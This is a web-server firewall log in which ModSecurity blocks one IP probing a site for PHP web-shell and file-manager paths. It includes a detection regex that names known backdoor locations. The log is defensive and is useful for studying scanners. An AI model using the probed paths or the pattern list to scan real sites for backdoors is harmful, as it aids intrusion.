[Tue Apr 14 00:50:03.812979 2026] [:error] [pid 60317:tid 60359] [client 158.158.43.6:53421] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "ad0eu7Bo7Bc8I7P_P-9p0wAAANM"]
[Tue Apr 14 00:50:04.672335 2026] [:error] [pid 59914:tid 59957] [client 158.158.43.6:53392] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "ad0evOq0YMmB3OWbbUk24gAAAE0"]
[Tue Apr 14 00:50:05.531221 2026] [:error] [pid 60317:tid 60348] [client 158.158.43.6:53378] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "ad0evbBo7Bc8I7P_P-9p1QAAAMg"]
[Tue Apr 14 00:50:06.766490 2026] [:error] [pid 60317:tid 60342] [client 158.158.43.6:53464] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ad0evrBo7Bc8I7P_P-9p2QAAAMI"]
[Tue Apr 14 00:50:08.094072 2026] [:error] [pid 60317:tid 60362] [client 158.158.43.6:54941] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ad0ewLBo7Bc8I7P_P-9p3gAAANY"]
[Tue Apr 14 00:50:09.185275 2026] [:error] [pid 60317:tid 60359] [client 158.158.43.6:52815] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ad0ewbBo7Bc8I7P_P-9p4AAAANM"]
[Tue Apr 14 00:50:10.653801 2026] [:error] [pid 60317:tid 60351] [client 158.158.43.6:54035] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ad0ewrBo7Bc8I7P_P-9p4QAAAMs"]
[Tue Apr 14 00:50:12.659979 2026] [:error] [pid 60317:tid 60346] [client 158.158.43.6:54103] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "ad0exLBo7Bc8I7P_P-9p5QAAAMY"]
[Tue Apr 14 00:50:13.537251 2026] [:error] [pid 60317:tid 60357] [client 158.158.43.6:54883] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "ad0exbBo7Bc8I7P_P-9p5wAAANE"]
[Tue Apr 14 00:50:14.347377 2026] [:error] [pid 60317:tid 60349] [client 158.158.43.6:54044] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "ad0exrBo7Bc8I7P_P-9p6AAAAMk"]
[Tue Apr 14 00:50:16.145990 2026] [:error] [pid 60317:tid 60354] [client 158.158.43.6:54914] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "ad0eyLBo7Bc8I7P_P-9p8wAAAM4"]
[Tue Apr 14 00:50:17.057428 2026] [:error] [pid 60317:tid 60357] [client 158.158.43.6:54960] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ad0eybBo7Bc8I7P_P-9p-QAAANE"]
[Tue Apr 14 00:50:18.342156 2026] [:error] [pid 59914:tid 59960] [client 158.158.43.6:54972] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ad0eyuq0YMmB3OWbbUk29AAAAFA"]
[Tue Apr 14 00:50:20.643362 2026] [:error] [pid 60317:tid 60362] [client 158.158.43.6:54079] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ad0ezLBo7Bc8I7P_P-9p_wAAANY"]
[Tue Apr 14 00:50:21.346324 2026] [:error] [pid 60317:tid 60356] [client 158.158.43.6:52822] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ad0ezbBo7Bc8I7P_P-9qAAAAANA"]
[Tue Apr 14 00:50:22.608598 2026] [:error] [pid 59915:tid 59980] [client 158.158.43.6:54879] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "ad0ezoeTNdEemByf99gdGgAAAIk"]
[Tue Apr 14 00:50:24.065286 2026] [:error] [pid 59913:tid 59919] [client 158.158.43.6:53429] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "ad0e0K5XvQ9C-gZtr2yZUAAAAAI"]
[Tue Apr 14 00:50:25.002706 2026] [:error] [pid 60317:tid 60359] [client 158.158.43.6:53474] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "ad0e0bBo7Bc8I7P_P-9qDgAAANM"]
[Tue Apr 14 00:50:25.949495 2026] [:error] [pid 60317:tid 60348] [client 158.158.43.6:53385] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "ad0e0bBo7Bc8I7P_P-9qEQAAAMg"]
[Tue Apr 14 00:50:28.067179 2026] [:error] [pid 59914:tid 59958] [client 158.158.43.6:54924] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "ad0e1Oq0YMmB3OWbbUk29wAAAE4"]
[Tue Apr 14 00:50:29.039151 2026] [:error] [pid 59915:tid 59994] [client 158.158.43.6:53466] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "ad0e1YeTNdEemByf99gdIwAAAJc"]
[Tue Apr 14 00:50:30.700829 2026] [:error] [pid 59915:tid 59974] [client 158.158.43.6:52755] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "ad0e1oeTNdEemByf99gdJwAAAIM"]
[Tue Apr 14 00:50:32.762849 2026] [:error] [pid 59913:tid 59934] [client 158.158.43.6:54068] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "ad0e2K5XvQ9C-gZtr2yZWAAAABE"]
[Tue Apr 14 00:50:35.282284 2026] [:error] [pid 59915:tid 59980] [client 158.158.43.6:53476] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "ad0e24eTNdEemByf99gdMgAAAIk"]
[Tue Apr 14 00:50:51.946626 2026] [:error] [pid 59914:tid 59954] [client 158.158.43.6:52842] [client 158.158.43.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "ad0e6-q0YMmB3OWbbUk3GAAAAEo"]
[Tue Apr 14 00:51:04.139597 2026] [:error] [pid 59914:tid 59965] [client 158.158.43.6:54949] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "ad0e-Oq0YMmB3OWbbUk3KgAAAFU"]
[Tue Apr 14 00:51:05.120599 2026] [:error] [pid 59914:tid 59963] [client 158.158.43.6:53447] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "ad0e-eq0YMmB3OWbbUk3KwAAAFM"]
[Tue Apr 14 00:51:05.824784 2026] [:error] [pid 59915:tid 59972] [client 158.158.43.6:54054] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "ad0e-YeTNdEemByf99gdfAAAAIE"]
[Tue Apr 14 00:51:07.443783 2026] [:error] [pid 59915:tid 59991] [client 158.158.43.6:54088] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "ad0e-4eTNdEemByf99gdfQAAAJQ"]
[Tue Apr 14 00:51:09.172328 2026] [:error] [pid 59915:tid 59990] [client 158.158.43.6:54849] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ad0e_YeTNdEemByf99gdiAAAAJM"]
[Tue Apr 14 00:51:12.175613 2026] [:error] [pid 59915:tid 59979] [client 158.158.43.6:54855] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ad0fAIeTNdEemByf99gdjwAAAIg"]
[Tue Apr 14 00:51:16.752646 2026] [:error] [pid 59914:tid 59951] [client 158.158.43.6:54857] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ad0fBOq0YMmB3OWbbUk3OAAAAEc"]
[Tue Apr 14 00:51:18.027597 2026] [:error] [pid 59914:tid 59949] [client 158.158.43.6:54963] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ad0fBuq0YMmB3OWbbUk3PgAAAEU"]
[Tue Apr 14 00:51:20.100049 2026] [:error] [pid 59914:tid 59945] [client 158.158.43.6:54940] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "ad0fCOq0YMmB3OWbbUk3SgAAAEE"]
[Tue Apr 14 00:51:21.030840 2026] [:error] [pid 59914:tid 59961] [client 158.158.43.6:54938] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "ad0fCeq0YMmB3OWbbUk3UAAAAFE"]
[Tue Apr 14 00:51:21.930900 2026] [:error] [pid 60317:tid 60341] [client 158.158.43.6:54031] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "ad0fCbBo7Bc8I7P_P-9qfAAAAME"]
[Tue Apr 14 00:51:23.046745 2026] [:error] [pid 60317:tid 60350] [client 158.158.43.6:52827] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "ad0fC7Bo7Bc8I7P_P-9qggAAAMo"]
[Tue Apr 14 00:51:24.067753 2026] [:error] [pid 60317:tid 60347] [client 158.158.43.6:54112] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "ad0fDLBo7Bc8I7P_P-9qigAAAMc"]
[Tue Apr 14 00:51:25.118262 2026] [:error] [pid 59914:tid 59961] [client 158.158.43.6:53432] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "ad0fDeq0YMmB3OWbbUk3XwAAAFE"]
[Tue Apr 14 00:51:27.273448 2026] [:error] [pid 60317:tid 60364] [client 158.158.43.6:54958] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "ad0fD7Bo7Bc8I7P_P-9qmAAAANg"]
[Tue Apr 14 00:51:29.300139 2026] [:error] [pid 59915:tid 59987] [client 158.158.43.6:54947] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "ad0fEYeTNdEemByf99gdngAAAJA"]
[Tue Apr 14 00:51:31.948057 2026] [:error] [pid 60317:tid 60359] [client 158.158.43.6:54073] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "ad0fE7Bo7Bc8I7P_P-9quQAAANM"]
[Tue Apr 14 00:51:32.912894 2026] [:error] [pid 60317:tid 60364] [client 158.158.43.6:52762] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "ad0fFLBo7Bc8I7P_P-9qwgAAANg"]
[Tue Apr 14 00:51:34.377059 2026] [:error] [pid 60317:tid 60357] [client 158.158.43.6:54961] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "ad0fFrBo7Bc8I7P_P-9qxQAAANE"]
[Tue Apr 14 00:51:35.754224 2026] [:error] [pid 60317:tid 60356] [client 158.158.43.6:54896] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "ad0fF7Bo7Bc8I7P_P-9qzQAAANA"]
[Tue Apr 14 00:51:42.125173 2026] [:error] [pid 60317:tid 60354] [client 158.158.43.6:36105] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wmore1.php"] [unique_id "ad0fHrBo7Bc8I7P_P-9q2wAAAM4"]
[Tue Apr 14 00:51:48.624194 2026] [:error] [pid 59913:tid 59937] [client 158.158.43.6:35915] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wmore1.php"] [unique_id "ad0fJK5XvQ9C-gZtr2yZowAAABQ"]
[Tue Apr 14 00:51:57.424193 2026] [:error] [pid 59915:tid 59976] [client 158.158.43.6:35552] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "ad0fLYeTNdEemByf99gd2AAAAIU"]
[Tue Apr 14 00:51:59.901204 2026] [:error] [pid 59915:tid 59987] [client 158.158.43.6:4759] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "ad0fL4eTNdEemByf99gd6gAAAJA"]
[Tue Apr 14 00:52:00.803589 2026] [:error] [pid 60317:tid 60363] [client 158.158.43.6:4340] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "ad0fMLBo7Bc8I7P_P-9q_AAAANc"]
[Tue Apr 14 00:52:20.210612 2026] [:error] [pid 59915:tid 59990] [client 158.158.43.6:4532] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "ad0fRIeTNdEemByf99geQgAAAJM"]
[Tue Apr 14 00:52:28.917899 2026] [:error] [pid 59914:tid 59948] [client 158.158.43.6:4244] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "ad0fTOq0YMmB3OWbbUk4BQAAAEQ"]
[Tue Apr 14 00:52:30.574845 2026] [:error] [pid 59915:tid 59987] [client 158.158.43.6:34115] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "ad0fToeTNdEemByf99geVAAAAJA"]
[Tue Apr 14 00:52:32.460822 2026] [:error] [pid 60317:tid 60342] [client 158.158.43.6:4117] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "ad0fULBo7Bc8I7P_P-9rRQAAAMI"]
[Tue Apr 14 00:52:37.507559 2026] [:error] [pid 59913:tid 59922] [client 158.158.43.6:4272] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws87.php"] [unique_id "ad0fVa5XvQ9C-gZtr2yZ0QAAAAU"]
[Tue Apr 14 00:52:38.412215 2026] [:error] [pid 59915:tid 59978] [client 158.158.43.6:42480] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws87.php"] [unique_id "ad0fVoeTNdEemByf99geXgAAAIc"]
